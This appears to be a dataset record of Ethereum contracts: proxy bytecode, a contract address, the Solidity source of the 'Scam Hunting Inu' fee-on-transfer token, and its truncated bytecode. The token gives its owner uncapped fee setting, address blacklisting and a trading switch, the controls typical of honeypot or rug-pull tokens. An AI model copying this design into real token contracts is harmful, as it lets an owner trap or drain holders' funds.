0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220249c822daf23a4c4105d411560ffa6c4b3a5d68c227c3a6354de449e0b177f2264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,477
0x874425cf1802535976c62d26fe84e45f31c3840b
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ScamHuntingInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Scam Hunting Inu"; string private constant _symbol = "SHINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 8; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x7B052AC9f6AE8841f4d90055B9a9111A1d772d23); address payable private _marketingAddress = payable(0x152e69fb1377F40edbFA6033b5e961e0e540Fd3d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; //0.3 uint256 public _maxWalletSize = 50000000 * 10**9; //1 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a9059cbb11610095578063c492f04611610064578063c492f04614610690578063dd62ed3e146106b9578063ea1644d5146106f6578063f2fde38b1461071f576101e2565b8063a9059cbb146105c2578063bdd795ef146105ff578063bfd792841461063c578063c3c8cd8014610679576101e2565b80638f9a55c0116100d15780638f9a55c01461051a57806395d89b411461054557806398a5c31514610570578063a2a957bb14610599576101e2565b806374010ece146104725780637d1db4a51461049b5780638da5cb5b146104c65780638f70ccf7146104f1576101e2565b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f8146103de5780636fc3eaec1461040757806370a082311461041e578063715018a61461045b576101e2565b80632fd689e314610334578063313ce5671461035f57806349bd5a5e1461038a5780636b999053146103b5576101e2565b80631694505e116101b65780631694505e1461027857806318160ddd146102a357806323b872dd146102ce5780632f9c45691461030b576101e2565b8062b8cf2a146101e757806306fdde0314610210578063095ea7b31461023b576101e2565b366101e257005b600080fd5b3480156101f357600080fd5b5061020e600480360381019061020991906131c8565b610748565b005b34801561021c57600080fd5b50610225610872565b6040516102329190613648565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190613128565b6108af565b60405161026f9190613612565b60405180910390f35b34801561028457600080fd5b5061028d6108cd565b60405161029a919061362d565b60405180910390f35b3480156102af57600080fd5b506102b86108f3565b6040516102c5919061384a565b60405180910390f35b3480156102da57600080fd5b506102f560048036038101906102f09190613095565b610903565b6040516103029190613612565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d91906130e8565b6109dc565b005b34801561034057600080fd5b50610349610b5f565b604051610356919061384a565b60405180910390f35b34801561036b57600080fd5b50610374610b65565b60405161038191906138bf565b60405180910390f35b34801561039657600080fd5b5061039f610b6e565b6040516103ac91906135f7565b60405180910390f35b3480156103c157600080fd5b506103dc60048036038101906103d79190612ffb565b610b94565b005b3480156103ea57600080fd5b5061040560048036038101906104009190613211565b610c84565b005b34801561041357600080fd5b5061041c610d35565b005b34801561042a57600080fd5b5061044560048036038101906104409190612ffb565b610e06565b604051610452919061384a565b60405180910390f35b34801561046757600080fd5b50610470610e57565b005b34801561047e57600080fd5b506104996004803603810190610494919061323e565b610faa565b005b3480156104a757600080fd5b506104b0611049565b6040516104bd919061384a565b60405180910390f35b3480156104d257600080fd5b506104db61104f565b6040516104e891906135f7565b60405180910390f35b3480156104fd57600080fd5b5061051860048036038101906105139190613211565b611078565b005b34801561052657600080fd5b5061052f61112a565b60405161053c919061384a565b60405180910390f35b34801561055157600080fd5b5061055a611130565b6040516105679190613648565b60405180910390f35b34801561057c57600080fd5b506105976004803603810190610592919061323e565b61116d565b005b3480156105a557600080fd5b506105c060048036038101906105bb919061326b565b61120c565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613128565b6112c3565b6040516105f69190613612565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190612ffb565b6112e1565b6040516106339190613612565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190612ffb565b611301565b6040516106709190613612565b60405180910390f35b34801561068557600080fd5b5061068e611321565b005b34801561069c57600080fd5b506106b760048036038101906106b29190613168565b6113fa565b005b3480156106c557600080fd5b506106e060048036038101906106db9190613055565b611534565b6040516106ed919061384a565b60405180910390f35b34801561070257600080fd5b5061071d6004803603810190610718919061323e565b6115bb565b005b34801561072b57600080fd5b5061074660048036038101906107419190612ffb565b61165a565b005b61075061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d4906137aa565b60405180910390fd5b60005b815181101561086e5760016010600084848151811061080257610801613c3d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061086690613b96565b9150506107e0565b5050565b60606040518060400160405280601081526020017f5363616d2048756e74696e6720496e7500000000000000000000000000000000815250905090565b60006108c36108bc61181c565b8484611824565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006109108484846119ef565b6109d18461091c61181c565b6109cc8560405180606001604052806028815260200161411460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061098261181c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123379092919063ffffffff16565b611824565b600190509392505050565b6109e461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906137aa565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb9061376a565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b9c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c20906137aa565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c8c61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d10906137aa565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7661181c565b73ffffffffffffffffffffffffffffffffffffffff161480610dec5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd461181c565b73ffffffffffffffffffffffffffffffffffffffff16145b610df557600080fd5b6000479050610e038161239b565b50565b6000610e50600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612496565b9050919050565b610e5f61181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee3906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fb261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906137aa565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61108061181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461110d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611104906137aa565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f5348494e55000000000000000000000000000000000000000000000000000000815250905090565b61117561181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f9906137aa565b60405180910390fd5b8060198190555050565b61121461181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611298906137aa565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112d76112d061181c565b84846119ef565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661136261181c565b73ffffffffffffffffffffffffffffffffffffffff1614806113d85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113c061181c565b73ffffffffffffffffffffffffffffffffffffffff16145b6113e157600080fd5b60006113ec30610e06565b90506113f781612504565b50565b61140261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906137aa565b60405180910390fd5b60005b8383905081101561152e5781600560008686858181106114b5576114b4613c3d565b5b90506020020160208101906114ca9190612ffb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061152690613b96565b915050611492565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115c361181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611650576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611647906137aa565b60405180910390fd5b8060188190555050565b61166261181c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e6906137aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561175f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611756906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061382a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb9061370a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119e2919061384a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a56906137ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac69061366a565b60405180910390fd5b60008111611b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b09906137ca565b60405180910390fd5b611b1a61104f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b885750611b5861104f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bde5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c345750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561203657601660149054906101000a900460ff16611cda57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd09061368a565b60405180910390fd5b5b601754811115611d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d16906136ca565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611dc35750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df99061372a565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611eaf5760185481611e6484610e06565b611e6e9190613980565b10611eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea59061380a565b60405180910390fd5b5b6000611eba30610e06565b9050600060195482101590506017548210611ed55760175491505b808015611eef5750601660159054906101000a900460ff16155b8015611f495750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5f575060168054906101000a900460ff165b8015611fb55750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561200b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155